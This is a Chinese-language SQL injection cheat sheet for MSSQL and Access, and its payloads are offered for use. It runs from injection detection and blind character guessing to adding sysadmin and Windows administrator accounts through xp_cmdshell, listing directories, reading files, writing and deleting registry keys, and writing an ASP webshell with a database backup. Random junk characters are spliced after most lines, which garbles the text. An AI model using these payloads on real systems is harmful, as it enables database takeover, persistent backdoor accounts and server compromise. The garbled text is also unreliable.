1.判断是否有注入;and 1=1 ;and 1=2 I(Qz%/ Ox
2.初步判断是否是mssql ;and user>0 ZY8w1:'
!uoT8BBAk
3.注入参数是字符'and [查询条件] and ''=' I eJI-lo
R:+'"dBge
4.搜索时没过滤参数的'and [查询条件] and '%25'=' >DUTmJxv
m 94PFD@N
5.判断数据库系统 mI5J]hk
Z1jxu;O(
;and (select count(*) from sysobjects)>0 mssql ii_kgqT^
IA<>+NS
;and (select count(*) from msysobjects)>0 access =^GPQ_"
]\KVA)\
SzIzQR93&
:Fm*WqZu
6.猜数据库 ;and (select Count(*) from [数据库名])>0 PDPK|FU
P))BS
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 p5$}h,7
[.^ol6
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 &9^4-5]
Pc*lHoVL
9.(1)猜字段的ascii值(access) S't9F
}ymW};W
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 "5L?RkFi\
>t.Lc.
(2)猜字段的ascii值(mssql) {?`7D:]`^
=y-yHRC7
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 .SjJG67OyA
F \ls]luN
10.测试权限结构(mssql) ]:#=[CH
J/jkb3
\?]U*)B.r
)2RRa^=&
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- cz,QP'g
]7 Du/)$
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- Cyd/HTNh<
]}PXN1(
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- pH mqwB~|
;YR/7
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- Gn=b_!
4P[MkMoC
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- kBhjqI*
u {_, S3Aa
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- {daX?N|V
#%Bt!#
;and 1=(select IS_MEMBER('db_owner'));-- ?[d4HKs
>({qgzV`
m_*wqNFA6
z`IW[N7Z
11.添加mssql和系统的帐户 :Bmn<2[Y;
[:{
FR2*x
;exec master.dbo.sp_addlogin username;-- ,IyQmN y
;exec master.dbo.sp_password null,username,password;-- (ne[a2%>
a51e~mg Z`
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- F$)l8}
2PYn zAsl
;exec master.dbo.xp_cmdshell 'net user username password ;O%
H]oN
V\Gs&>
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- @JXpD8jn
z'm}p
;exec master.dbo.xp_cmdshell 'net user username password /add';-- UP^8Yhdo
Ny2
Z
<TW
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- _i {Y0d+
b'\Q/;oz>
Q3tyK{JE
y<kUGsD
12.(1)遍历目录 &'$Bk5 D@G
,Q56A#Y\
;create table dirs(paths varchar(100), id int) @KK6Jy OTQ
U}5fjY
;insert dirs exec master.dbo.xp_dirtree 'c:\' =}#yi<Lt
JY2<ECO
;and (select top 1 paths from dirs)>0 T4]2R
F*[E28ia&
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) B^/MwD>%
#zTy7ZS,0
):'wxIVGI
86OrJdD8
(2)遍历目录 -y-}g[`
3A!a7]fW
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- gZ4'
w`4r
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 sNDo@u7
fgd2jr3T
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 x|a&wC2,{
VkFh(Br<{
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 4%J0e'iN
;&&<zWq3h
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 KM wV;r
D+3?p
rS_G;}Zr
2 {&A)Z!I
13.mssql中的存储过程 rP4T;Clout
@4*:qj?
xp_regenumvalues 注册表根键, 子键 U`qkeNd
Mpojabsh
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 p
qz~9y~
Uw("+[ 5O0
xp_regread 根键,子键,键值名 M!J7Vj?Ps
+
f67y
;exec xp_regread ri{*\LV*@
TI DgIK
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 vW=-RTRH
Qp:I[:Lr;
xp_regwrite 根键,子键, 值名, 值类型, 值 h.X4x2(.
Jj\4P1|' 7
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 euB 1}M
H7X-\K 1w
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 $\BYN=#
@!P2f
xp_regdeletevalue 根键,子键,值名 <2U@O`
gC
Y/5M)AyJt
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 6Cj7 =|L7
2'?'dfj
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 23):OB>S`
!G3AD3
,GH`tK_
n{;Q"\*Sg
14.mssql的backup创建webshell J#..xJ?XRD
;\*3A22 #
use model 8:{id>Mm^
77@N79lqO
create table cmd(str image); GM6,LzH
ELCNf
insert into cmd(str) values (''); J 6KHc^,7
*DPX4P
backup database model to disk='c:\l.asp'; 8 ??-H0P
a&_